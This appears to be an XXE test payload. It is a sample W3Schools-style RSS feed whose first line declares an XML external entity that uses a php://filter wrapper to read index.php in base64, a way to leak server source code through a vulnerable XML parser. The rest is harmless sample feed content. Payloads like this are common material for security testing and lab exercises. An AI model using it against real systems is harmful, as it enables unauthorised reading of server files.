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<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
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<channel>
  <title>W3Schools Home Page</title>
  <link>https://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>RSS Tutorial</title>
    <link>https://www.w3schools.com/xml/xml_rss.asp</link>;
    <description>New RSS tutorial on W3Schools</description>
  </item>
  <item>
    <title>XML Tutorial</title>
    <link>https://www.w3schools.com/xml</link>;
    <description>New XML tutorial on W3Schools</description>
  </item>
</channel>

</rss>